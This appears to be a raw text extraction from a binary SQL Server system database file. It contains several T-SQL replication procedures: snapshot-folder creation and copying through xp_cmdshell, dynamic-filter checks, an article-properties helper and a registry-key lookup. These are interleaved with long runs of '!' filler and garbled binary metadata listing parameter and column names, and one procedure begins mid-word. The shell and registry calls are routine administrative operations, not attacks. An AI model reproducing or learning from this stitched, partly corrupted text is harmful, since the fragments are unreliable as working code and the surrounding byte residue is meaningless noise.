    SELECT @bslashindex = CHARINDEX(N'\', @source_folder, @bslashindex2 + 1)
    SELECT @pubdir = SUBSTRING(@source_folder, @bslashindex2 + 1, @bslashindex - @bslashindex2 - 1) 
    SELECT @bslashindex2 = @bslashindex

    SELECT @bslashindex = CHARINDEX(N'\', @source_folder, @bslashindex2 + 1)
    SELECT @timestampdir = SUBSTRING(@source_folder, @bslashindex2 + 1, @bslashindex - @bslashindex2 - 1) 
    SELECT @bslashindex2 = @bslashindex
        
    -- Create the subdirectory structure underneath the specified snapshot
    -- folder. Ignore errors for now, we will check whether the directory 
    -- is successfully created later on.

    -- Don't suppress output from xp_cmdshell so user knows what's going on
    -- in case something goes wrong 
    SELECT @destination_folder = @destination_folder + @ftporuncdir + '\'
    SELECT @command = 'mkdir "' + sys.fn_escapecmdshellsymbolsremovequotes(@destination_folder) collate database_default + '"'
    IF (@platform_nt = 1)
        SELECT @command = '" ' + @command + ' "'
    EXEC master.dbo.xp_cmdshell @command
    
    SELECT @destination_folder = @destination_folder + @pubdir + '\'
    SELECT @command = 'mkdir "' + sys.fn_escapecmdshellsymbolsremovequotes(@destination_folder) collate database_default + '"'
    IF (@platform_nt = 1)
        SELECT @command = '" ' + @command + ' "'
    EXEC master.dbo.xp_cmdshell @command

    SELECT @destination_folder = @destination_folder + @timestampdir + '\'
    SELECT @command = 'mkdir "' + sys.fn_escapecmdshellsymbolsremovequotes(@destination_folder) collate database_default + '"'
    IF (@platform_nt = 1)
        SELECT @command = '" ' + @command + ' "'
    EXEC master.dbo.xp_cmdshell @command

    -- Check if the real destination folder exists
    EXEC sys.sp_MSget_file_existence @destination_folder, @directory_exists OUTPUT
    IF @directory_exists = 0
    BEGIN
        RAISERROR(21288, 16, -1)
        RETURN (1)
    END

    -- Do the actual copying
    SELECT @command = 'copy "' + sys.fn_escapecmdshellsymbolsremovequotes(@source_folder) collate database_default + '*.*" "' + sys.fn_escapecmdshellsymbolsremovequotes(@destination_folder) collate database_default + '"'    
    IF (@platform_nt = 1)
        SELECT @command = '" ' + @command + ' "'
    
    EXEC @retcode = master.dbo.xp_cmdshell @command
    
    IF @retcode <> 0
        RETURN (1)
    ELSE
        RETURN (0)
END
0E@ 8create procedure sys.sp_MSget_dynamic_filtering_information (
        @pubid uniqueidentifier, 
        @uses_host_name bit output, 
        @uses_suser_sname bit output ) 
AS
begin

    if exists (select name from dbo.sysmergepublications 
                where pubid = @pubid and UPPER(dynamic_filters_function_list) like '%HOST_NAME()%'
                and sys.fn_MSisfilteredcolumn(UPPER(REPLACE(REPLACE(REPLACE(REPLACE(dynamic_filters_function_list, char(0x20),''), char(0x09),''), char(0x0D),''), char(0x0A),'')), 'HOST_NAME', NULL) = 1)
        select @uses_host_name = 1
    else 
        select @uses_host_name = 0
    
    if exists (select name from dbo.sysmergepublications 
                where pubid = @pubid and UPPER(dynamic_filters_function_list) like '%SUSER_SNAME()%'
                and sys.fn_MSisfilteredcolumn(UPPER(REPLACE(REPLACE(REPLACE(REPLACE(dynamic_filters_function_list, char(0x20),''), char(0x09),''), char(0x0D),''), char(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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<qoJ/0a) 8
--
-- Name: sp_IHhelparticle
--
-- Description: Retrieve article properties. Invoked by sp_helparticle
--
-- Returns: 1 or 0
--
-- NOTE:
--		RMO flag tells helparticle to report extended
--		HREPL columns (which will be NULL for SQL publishers)
--

create procedure sys.sp_IHhelparticle
(
    @publication    sysname,
    @article        sysname,
    @returnfilter   bit,
    @publisher      sysname,
    @publisher_type sysname,
    @found          int OUTPUT,
    @rmo			bit = 0
)
AS
BEGIN
    DECLARE @retcode        int
    DECLARE @pubid          int
    DECLARE @article_name   sysname
    DECLARE @username       sysname

	CREATE TABLE #ORAtablespaceinfo
	(
		article_id int,
		tablespace sysname
	)

    SET NOCOUNT ON

    SELECT @username = suser_sname(), @found = 0

    IF @publisher IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publisher', 'sp_IHhelparticle')
        RETURN (1)
    END

    /*
    ** Parameter Check:  @publication.
    ** Check to make sure that there are some articles
    ** to display.
    */

    IF @publication IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publication', 'sp_IHhelparticle')
        RETURN (1)
    END

    EXECUTE @retcode = dbo.sp_validname @publication

    IF @retcode <> 0
    BEGIN
        RETURN (1)
    END

    /*
    ** Security Check. Restrict to 'sysadmin', PAL
    */
    exec @retcode = sys.sp_MSreplcheck_pull @publication    = @publication,
                                            @given_login    = @username,
                                            @publisher      = @publisher

    IF @retcode <> 0 OR @@error <> 0
    BEGIN
        RETURN (1)
    END

    /*
    ** Parameter Check:  @article.
    ** Check to make sure that the article exists, that it conforms
    ** to the rules for identifiers, and that it isn't NULL.
    */

    IF @article IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@article', 'sp_IHhelparticle')
        RETURN (1)
    END

    -- Verify publication exists
	SELECT @pubid = sys.fn_MSrepl_getpubid(@publication, @publisher, @publisher_type)

    IF (@pubid IS NULL)
    BEGIN
        RAISERROR (20026, 11, -1, @publication)
        RETURN (1)
    END

    -- Verify article exists if specified
    IF @article <> '%'
    BEGIN
        IF NOT EXISTS
        (
            SELECT  *
            FROM    IHarticles
            WHERE   name = @article
              AND   publication_id = @pubid
        )
        BEGIN
            RAISERROR (20027, 11, -1, @article)
            RETURN (1)
        END
    END

	IF (@publisher_type LIKE N'ORACLE%')
	BEGIN
		EXEC sp_ORAhelparticle	@pubid        = @pubid,
								@article      = @article,
								@returnfilter = @returnfilter,
								@publisher    = @publisher,
								@found        = @found OUTPUT,
								@rmo		  = @rmo
	END
	ELSE
	BEGIN
		RAISERROR (21643, 16, -1, '@publisher_type')
		RETURN (1)
	END
    
    RETURN (0)
END
0%/@ 
8create procedure sys.sp_MScheck_dynamic_filtering_information (
        @pubid uniqueidentifier, 
        @dynamic_filter_hostname sysname, 
        @dynamic_filter_login sysname
) 
AS
begin
    declare @uses_host_name bit
    declare @uses_suser_sname bit
    declare @retcode int

    exec @retcode = sys.sp_MSget_dynamic_filtering_information 
                        @pubid = @pubid, 
                        @uses_host_name = @uses_host_name OUTPUT,
                        @uses_suser_sname = @uses_suser_sname OUTPUT
    if @@error <> 0 or @retcode <> 0
    begin
        return 1
    end
    
    -- if the publication does not use suser_sname for filtering and the user has specified
    -- a value for suser_sname raise an error.
    if @uses_suser_sname = 0 and @dynamic_filter_login is not NULL
    begin
        raiserror(20673, 16, -1)
        return (1)
    end
    
    -- if the publication does not use host_name for filtering and the user has specified
    -- a value for host_name raise an error.
    if @uses_host_name = 0 and @dynamic_filter_hostname is not NULL
    begin
        raiserror(20672, 16, -1)
        return (1)
    end


    -- if the publication uses suser_sname for filtering and the user has not specified
    -- a value for suser_sname raise an error.
    if @uses_suser_sname = 1 and @dynamic_filter_login is NULL
    begin
        raiserror(20699, 16, -1)
        return (1)
    end
    
    -- if the publication uses host_name for filtering and the user has not specified
    -- a value for host_name raise an error.
    if @uses_host_name = 1 and @dynamic_filter_hostname is NULL
    begin
        raiserror(20698, 16, -1)
        return (1)
    end

   
    return 0
end
se_id
           AND article_id = @article_id
           AND (type & @snapshot_bit) <> 0            
           AND (type & @snapshot_mask) <> @sync_init
           AND (type & @snapshot_mask) <> @sync_done
    END
    ELSE 
    BEGIN
        -- Both @subscriber and @subscriber_db are non-null
        SELECT @subscriber_id = srvid 
          FROM master.dbo.sysservers
         WHERE UPPER(@subscriber) = UPPER(srvname)
        
        IF @subscriber_id IS NULL
        BEGIN
            RAISERROR(21150, 16, -1)  
            RETURN 1
        END
        
        SELECT @xact_seqno = subscription_seqno 
          FROM dbo.MSsubscriptions
         WHERE publisher_database_id = @publisher_database_id
           AND publisher_id = @publisher_id 
           AND article_id = @article_id
           AND subscriber_id = @subscriber_id
           AND subscriber_db = @subscriber_db

        IF @xact_seqno IS NULL
        BEGIN
            RAISERROR(14055, 16, -1)
            RETURN 1
        END                  
    END

    SELECT 'snapshot_folder' = CONVERT(NVARCHAR(255), command) 
      FROM MSrepl_commands 
     WHERE publisher_database_id = @publisher_database_id
       AND (type & @snapshot_bit) <> 0
       AND xact_seqno = @xact_seqno
       AND (((type & ~@snapshot_bit) = @alt_directory_type) OR
            ((type & ~@snapshot_bit) = @directory_type))
  ORDER BY command_id ASC
    IF @@ERROR <> 0
    BEGIN
        RETURN 1
    END
    ELSE
    BEGIN
        RETURN 0
    END
end
0e8 8--
-- Name: fn_replgetinstanceregkey
-- 
-- Description: This functions returns the root of the instance specific reg hive
-- Parameter:   (none)
--
-- Notes: Does not include trailing '\'
--
-- Returns: nvarchar(260)
--
-- Security: Internal
-- 
create function sys.fn_replgetinstanceregkey() returns nvarchar(260)
as
begin 
    declare @instance_name sysname
                ,@instance_id sysname
                ,@retcode int
                ,@regkey nvarchar(260)
    -- get the instance name
    select @instance_name = convert(sysname, SERVERPROPERTY(N'InstanceName'))
    if @instance_name is null
        select @instance_name = N'MSSQLSERVER'
        
    -- map instance name to instance id via the registry
    select @regkey = N'SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL'
    exec @retcode = master.dbo.xp_regread N'HKEY_LOCAL_MACHINE', 
        @regkey,
        @instance_name,
        @param = @instance_id OUTPUT,
        @no_output = N'no_output'
        
    if @retcode <> 0 or @@ERROR <> 0
    begin
        return null
    end	
    
    set @regkey = N'SOFTWARE\Microsoft\Microsoft SQL Server\' + @instance_id
    return @regkey
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!d`P
-hP)DpQ+E0-,U@assembly_schema0-,88
]@assembly_referenced0-$S@primary_server0-$W@primary_database0-(88
Isession_id0-(Qtransaction_id0-(atransaction_descriptor0-(88
Menlist_count0-(hh[is_user_transaction0-(hhEis_local0-(hhKis_enlisted0-(hhEis_bound0-(	88
aopen_transaction_count0-(
88
Kpdw_node_id0-+W@capture_instance0-=G@rolename0-=I@ownername0-'(KC@server0-'(KK@srvproduct0-'(KG@provider0-'(K@E@datasrc0-'(K@G@location0-'(K@E@provstr0-'(KE@catalog0-|U88
Q@cursor_return0-|U88
O@cursor_scope0-~V`xxIclass_desc0-~V`xxSpermission_name0-~V`=type0-~V`xxecovering_permission_name0-~V`xxWparent_class_desc0-~V`xxsparent_covering_permission_name0-~V`xA@level-ahh0-aW@capture_instance0-a
G@from_lsn0-a
C@to_lsn0-a<Y@row_filter_option0-ahhM@net_changes0-$b88
K@session_id0-Ei$$C@job_id0-nw@@Isql_handle0-nw88
astatement_start_offset0-nw88
]statement_end_offset0-nw[plan_generation_num0-nw@@Kplan_handle0-nw==Ocreation_time0-nw==[last_execution_time0-nwSexecution_count0-nw	Wtotal_worker_time0-nw
Ulast_worker_time0-nwSmin_worker_time0-nwSmax_worker_time0-nw
]total_physical_reads0-nw[last_physical_reads0-nwYmin_physical_reads0-nwYmax_physical_reads0-nw]total_logical_writes0-nw[last_logical_writes0-nwYmin_logical_writes0-nwYmax_logical_writes0-nw[total_logical_reads0-nwYlast_logical_reads0-nwWmin_logical_reads0-nwWmax_logical_reads0-nwQtotal_clr_time0-nwOlast_clr_time0-nwMmin_clr_time0-nwMmax_clr_time0-nwYtotal_elapsed_time0-nwWlast_elapsed_time0-nwUmin_elapsed_time0-nw Umax_elapsed_time0-nw!Iquery_hash0-nw"Squery_plan_hash0-uS$$A@pubid0-uS88
S@AlterTableOnly0-uS88
Q@schemaversion0-uShh@invalidateupload_schemachanges_for_ssce0-uShho@filter_skipped_schemachanges!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!RMdeXG:78C

*
Sj#

Z
		+	R(Cm(U
~74_Ve`/-	H)4<q^S0-xcO@catalog_name0-xc88
A@dummy0-xcM@server_name0-xcO@catalog_name0-7I@publisher0-7O@publisher_db0-7M@publication0-7K@subscriber0-7Q@subscriber_db-]88
0-]88
?@mode0-]A@login0-]88
I@tranpubid0-i˼I@publisher0-i˼hhE@enabled0-i˼88
G@interval0-i˼88
I@threshold0-i˼88
K@LRinterval0-i˼88
M@LRthreshold0-jqM@publication0-jqK@subscriber0-jqS@destination_db0-jqI@publisher0-jqS@publisher_type0-44Kdatabase_id0-Growset_id0-88
waggregated_record_length_in_bytes0-88
Kpdw_node_id0-lI@publisher0-lO@publisher_db0-lS@publisher_type0-lO@remoteserver0-lM@distributor0-lI@distribdb0-sM@publication0-5[@secondary_database0-5S@primary_server0-5W@primary_database0-588
Q@restore_delay0-5hhM@restore_all0-5hhO@restore_mode0-5hhW@disconnect_users0-588
K@block_size0-5	88
O@buffer_count0-5
88
Y@max_transfer_size0-588
Y@restore_threshold0-588
U@threshold_alert0-5
hhe@threshold_alert_enabled0-588
g@history_retention_period0-5hhI@overwrite0-M@publication0-g@dynamic_snapshot_jobname0-$$c@dynamic_snapshot_jobid0-88
S@frequency_type0-88
[@frequency_interval0-88
W@frequency_subday0-88
i@frequency_subday_interval0-88
m@frequency_relative_interval0-	88
m@frequency_recurrence_factor0-
88
Y@active_start_date0-88
U@active_end_date0-88
g@active_start_time_of_day0-
88
c@active_end_time_of_day0-I@job_login0-O@job_password0-b}$$A@pubid0-b}88
O@partition_id0-b}W@dynsnap_location0-~Q$$A@pubid0-~Q88
S@AlterTableOnly0-~Q88
Q@schemaversion0-~Q88
M@compatlevel!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!kJ

I
Xc
h

		0	(l9yhMDU
K
d#p%P}>
q$=`-92)v&rJ70-==SBackupStartDate0-==UBackupFinishDate0-44GSortOrder0-44ECodePage0-88
SUnicodeLocaleId0-88
aUnicodeComparisonStyle0-44YCompatibilityLevel0-88
USoftwareVendorId0-88
]SoftwareVersionMajor0-88
]SoftwareVersionMinor0-88
]SoftwareVersionBuild0-KMachineName0-88
?Flags0-GBindingID0- QRecoveryForkID0-!GCollation0-"IFamilyGUID0-#hhWHasBulkLoggedData0-$hhIIsSnapshot0-%hhIIsReadOnly0-&hhMIsSingleUser0-'hhYHasBackupChecksums0-(hhGIsDamaged0-)hhQBeginsLogChain0-*hh_HasIncompleteMetaData0-+hhQIsForceOffline0-,hhIIsCopyOnly0--[FirstRecoveryForkID0-.jj

MForkPointLSN0-/xxORecoveryModel0-0jj

[DifferentialBaseLSN0-1]DifferentialBaseGUID0-2xx_BackupTypeDescription0-3OBackupSetGUID0-4]CompressedBackupSize0-M@publication0-E@article0-M@source_proc0-W@destination_proc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0-44I@coltotest0-y/I@publisher0-BM@source_dbms0-BS@source_version0-BW@destination_dbms0-B]@destination_version0-C@dbName0-G@filetype0-I@filegroup0-?@name0-G@filename0-(?@size0-(E@maxsize0-(K@filegrowth0-T88
Gobject_id0-TOphysical_name0-bT00?@mode0-bTW@secondary_server0-bT[@secondary_database0-bT$$O@secondary_id0-bTS@primary_server0-bTS@monitor_server0-bThho@monitor_server_security_mode0-bTW@primary_database0-bT	88
Y@restore_threshold0-bT
88
U@threshold_alert0-bThhe@threshold_alert_enabled0-bTW@last_copied_file0-bT
==W@last_copied_date0-bT==_@last_copied_date_utc0-bT[@last_restored_file0-bT==[@last_restored_date0-bT==c@last_restored_date_utc0-bT88
a@last_restored_latency0-bT88
g@history_retention_period0-bThh]@ignoreremotemonitor0-$$A@subid0-$$A@artid0-hhO@is_pub_range0-00W@ranges_allocated0-ll&M@range_begin0-ll&I@range_end0-ll&W@next_range_begin0-ll&S@next_range_end0-	M@publication0-
K@subscriber0-Q@subscriber_db0-788
=lcid0-74[thesaurus_file_path0-H\@K@scriptfile0-H\@=@cmd0-FK88
?@type0-FK88
G@agent_id0-FKK@originator0-FKQ@originator_db0-FK88
i@originator_publication_id0-FK88
a@originator_db_version0-FKS@originator_lsn0-<$$A@repid!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!E@}2I^
q

I$
f

	U	D%0~?^T$z-`	-
0)tL%x0-/nCcolName0-/nhhCIsInrow0-/nhhEIsSparse0-/nhheIsRecordPrefixCompressed0-/nhhEIsSymbol0-/n88
KPrefixBytes0-/n88
KInRowLength0-/nE@rowdump0-v|M@publication0-v|88
K@request_id0-v|==M@cutoff_date0-EI@publisher0-EO@publisher_db0-EM@publication0-E88
W@publication_type0-`nCaddress0-`n4=name0-`n88
Spending_buffers0-`n88
_total_regular_buffers0-`n[regular_buffer_size0-`n88
[total_large_buffers0-`nWlarge_buffer_size0-`nWtotal_buffer_size0-`n	88
[buffer_policy_flags0-`n
4Ybuffer_policy_desc0-`n88
?flags0-`n4Gflag_desc0-`n
88
[dropped_event_count0-`n88
]dropped_buffer_count0-`n88
cblocked_event_fire_time0-`n==Kcreate_time0-`n88
ilargest_event_dropped_size0-W%M@publication0-W%K@subscriber0-W%Q@subscriber_db0-W%Y@subscription_type0-W%U@subscriber_type0-W%;;a@subscription_priority0-W%I@sync_type0-W%88
S@frequency_type0-W%	88
[@frequency_interval0-W%
88
m@frequency_relative_interval0-W%88
m@frequency_recurrence_factor0-W%88
W@frequency_subday0-W%
88
i@frequency_subday_interval0-W%88
g@active_start_time_of_day0-W%88
c@active_end_time_of_day0-W%88
Y@active_start_date!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`9
_

hY
p

	Y	Zg^Qz-Hk +`K-^)2uhoJ0-tBM@publication0-tBK@dest_table0-tBK@dest_owner0-0M@object_name0-0Q@object_schema0-M@W@capture_instance0-588
Ecolumnid0-588
Ulogical_operator0-588
[comparison_operator0-5bbPP?value0-588
C@handle0-4/O@table_schema0-4/K@table_type0-1:O@program_name0-1:U@constraint_name0-1:Q@parent_schema0-1:M@parent_name0-1:g@referenced_object_schema0-1:c@referenced_object_name0-1:hhc@is_not_for_replication0-1:hhS@is_not_trusted0-1:	00i@delete_referential_action0-1:
00i@update_referential_action0-N00?@mode0-N$$G@agent_id0-N00K@agent_type0-N88
K@session_id0-N00S@session_status0-NS@monitor_server0-NG@database0-N==G@log_time0-N	==O@log_time_utc0-N
@E@message0-tWG@filename0-tWhhC@exists0-4X88
?colid0-4X E@columns0-[88
A@objid0-[88
A@artid-τ\88
0-τ\@C@string0-IcM@publication0-Ichh[@ignore_distributor0-IchhG@reserved0-Ichha@ignore_merge_metadata0-rM@srvrolename-Fu88
0-FuE@bitmask0-Fu88
A@colid0-,U}M@publication0-,U}O@source_table0-,U}O@source_owner0-c
$$E@srcguid0-c
G@replnick0-c
88
M@compatlevel0-y88
I@tablenick0-y88
M@changecount0-yE@gen_cur0-k88
Ilocal_node0-k88
Kremote_node0-kx4xIpage_class0-kIread_count0-kKwrite_count0-k88
Kpdw_node_id0-88
I@src_objid0-88
A@artid0-hhQ@artcolcounter0-88
M@param_count0-00Q@publishertype0-hhm@userdefinedtypestobasetypes0-hhK@xmltontext0-hhq@maxtypestomatchingnonmaxtypes0-	hhO@maptimestamp0-
hhU@setdefaultnulls0-hhi@newdatetimetypestostrings0-hhi@hierarchyidtovarbinarymax0-
